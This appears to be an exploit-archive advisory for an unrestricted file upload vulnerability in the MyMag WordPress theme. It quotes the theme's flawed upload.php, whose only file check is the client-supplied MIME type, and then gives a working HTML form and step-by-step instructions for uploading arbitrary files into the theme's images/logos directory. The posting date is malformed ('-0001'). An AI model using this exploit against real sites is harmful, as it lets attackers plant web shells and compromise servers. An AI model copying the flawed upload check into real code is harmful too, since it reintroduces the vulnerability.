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MyMag wordpress theme Unrestricted File Upload

Posted on 30 November -0001

<HTML><HEAD><TITLE>MyMag wordpress theme Unrestricted File Upload</TITLE><META http-equiv="Content-Type" content="text/html; charset=utf-8"></HEAD><BODY>upload.php:
Code : 
$dir = "images/logos/";
	$url = $_POST['url'];
	if (is_writable($dir)) {
		if ((($_FILES["file"]["type"] == "image/gif") || ($_FILES["file"]["type"] == "image/jpeg") || ($_FILES["file"]["type"] == "image/png") || ($_FILES["file"]["type"] == "image/pjpeg")) && ($_FILES["file"]["size"] < 1048576)) {
  			if ($_FILES["file"]["error"] > 0){
    				echo "Return Code: " . $_FILES["file"]["error"] . "<br />";
    			} else {
				$_FILES["file"]["name"] = str_replace(' ', '_' , $_FILES["file"]["name"]);
    				if (file_exists($dir . $_FILES["file"]["name"])) {
     					echo $_FILES["file"]["name"] . " already exists. ";
      				} else {
					switch($_FILES["file"]["type"]) {
					case "image/jpeg" : $end = ".jpg";
					break;
					case "image/png" : $end = ".png";
					break;
					case "image/gif" : $end = ".gif";
					break;
					}
					$newname = time().$end;
      					move_uploaded_file($_FILES["file"]["tmp_name"], $dir . $newname);
					$file = $newname;
					$admin = "/wp-admin/themes.php?page=functions.php&pic=";
      					header("Location: $url$admin$file");
      				
Page : /wp-content/themes/mymag/upload.php

To exploit : 

<html>
<body>

<form action="http://localhost/wp-content/themes/mymag/upload.php" method="post"
enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="Submit">
</form>

</body>
</html>

Upload the file to the form and submit the form.The file will be uploaded to 
http://localhost/wp-content/themes/mymag/images/logos
</BODY></HTML>

 

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Malware :

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